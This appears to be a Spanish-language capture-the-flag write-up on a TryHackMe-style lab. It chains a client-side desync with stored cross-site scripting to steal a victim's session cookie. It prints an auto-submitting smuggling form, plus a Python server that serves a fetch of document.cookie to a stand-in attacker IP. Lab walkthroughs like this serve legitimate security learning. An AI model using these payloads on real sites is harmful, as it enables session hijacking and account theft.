Este reto requiere usar técnicas aprendidas en las tareas anteriores para robar la cookie de un usuario.
La víctima accede a la aplicación usando challenge.thm, no la IP.
Los pasos son:
- Identifica que el servidor web actual es vulnerable a Client-Side Desync.
- Encuentra una funcionalidad que permita almacenar el gadget malicioso.
- Construye tu payload malicioso.
- Combínalo todo y aprovéchate.
Primero, para identificar que el servidor es vulnerable, vamos a ir a challenge.thm y usaremos el payload anterior, si nos devuelve 404 al recargar es que es vulnerable a browser desync.

Si le damos a recargar la página:

Por lo tanto sabemos que es vulnerable.
Después vamos a observar que la página no sanitiza correctamente el input de texto, nos registramos:

Si ahora vamos a /securecontact:

Podemos ver que es reflejado pero no interpretado.
La víctima visitará en su lugar la página /vulnerablecontact, donde el input será interpretado.

Por lo tanto ahora necesitamos construir un payload para redirigir al usuario a que haga un fetch del segundo payload de nuestro servidor:
<form id="btn" action="http://challenge.thm/" method="POST" enctype="text/plain"> <textarea name="GET http://YOUR_IP:1337 HTTP/1.1 AAA: A">placeholder1</textarea> <button type="submit">placeholder2</button> </form> <script> btn.submit() </script>
Por último, serviremos un payload en nuestro servidor controlado para robar la cookie de sesión del usuario y mandárnosla.
#!/usr/bin/python3 from http.server import BaseHTTPRequestHandler, HTTPServer class ExploitHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/': self.send_response(200) self.send_header("Access-Control-Allow-Origin", "*") self.send_header("Content-type","text/html") self.end_headers() self.wfile.write(b"fetch('http://YOUR_IP:8080/' + document.cookie)") def run_server(port=1337): server_address = ('', port) httpd = HTTPServer(server_address, ExploitHandler) print(f"Server running on port {port}") httpd.serve_forever() if __name__ == '__main__': run_server()
Ejecutamos el script de arriba, después de cambiar la IP con:
sudo python3 server.py
Y nos ponemos en escucha:
sudo python3 -m http.server 8080
Por último esperamos la flag:

